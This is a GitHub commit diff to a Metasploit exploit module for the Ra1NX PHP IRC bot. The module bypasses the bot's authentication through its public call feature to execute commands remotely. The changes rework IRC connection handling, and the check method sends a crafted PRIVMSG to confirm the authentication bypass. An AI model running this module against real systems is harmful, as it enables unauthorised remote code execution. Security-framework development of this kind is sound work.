Skip to content

Commit cd1820d

Browse files
author
jvazquez-r7
committed
trying to solve irc comm issues
1 parent 6cf44d9 commit cd1820d

File tree

1 file changed

+34
-18
lines changed

1 file changed

+34
-18
lines changed

modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb

Lines changed: 34 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => '"Ra1NX" PHP Bot PubCall Authentication Bypass Remote Code Execution',
17+
'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
1818
'Description' => %q{
19-
This module allows remote command execution on the PHP IRC bot Ra1NX by
19+
This module allows remote command execution on the PHP IRC bot Ra1NX by
2020
using the public call feature in private message to covertly bypass the
2121
authentication system.
2222
},
@@ -27,6 +27,7 @@ def initialize(info = {})
2727
'License' => MSF_LICENSE,
2828
'References' =>
2929
[
30+
['OSVDB', '91663'],
3031
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
3132
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
3233
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
@@ -40,7 +41,7 @@ def initialize(info = {})
4041
'DisableNops' => true,
4142
'Compat' =>
4243
{
43-
'PayloadType' => 'cmd',
44+
'PayloadType' => 'cmd'
4445
}
4546
},
4647
'Targets' =>
@@ -62,16 +63,38 @@ def initialize(info = {})
6263
], self.class)
6364
end
6465

65-
def check
66+
def connect_irc
67+
print_status("#{rhost}:#{rport} - Connecting to IRC server...")
6668
connect
6769

70+
data = ""
71+
begin
72+
read_data = sock.get_once(-1, 1)
73+
while not read_data.nil?
74+
data << read_data
75+
read_data = sock.get_once(-1, 1)
76+
end
77+
rescue EOFError
78+
end
79+
80+
if data and data =~ /020.*wait/
81+
print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
82+
select(nil, nil, nil, 3)
83+
end
84+
end
85+
86+
def check
87+
connect_irc
88+
6889
response = register(sock)
6990
if response =~ /463/ or response =~ /464/
7091
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
7192
return Exploit::CheckCode::Unknown
7293
end
94+
7395
confirm_string = rand_text_alpha(8)
74-
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
96+
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
97+
7598
quit(sock)
7699
disconnect
77100

@@ -82,22 +105,15 @@ def check
82105
end
83106
end
84107

85-
def send_msg(sock, data, startResponse = nil)
108+
def send_msg(sock, data)
86109
sock.put(data)
87110
data = ""
88-
count = 3
89111
begin
90-
begin
112+
read_data = sock.get_once(-1, 1)
113+
while not read_data.nil?
114+
data << read_data
91115
read_data = sock.get_once(-1, 1)
92-
while not read_data.nil?
93-
data << read_data
94-
read_data = sock.get_once(-1, 1)
95-
end
96-
if startResponse != nil and data.start_with?(startResponse)
97-
startResponse = nil
98-
end
99-
count -= 1
100-
end while startResponse == nil and count != 0
116+
end
101117
rescue EOFError
102118
end
103119
data
@@ -137,7 +153,7 @@ def quit(sock)
137153
end
138154

139155
def exploit
140-
connect
156+
connect_irc
141157

142158
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
143159
response = register(sock)

0 commit comments

Comments
 (0)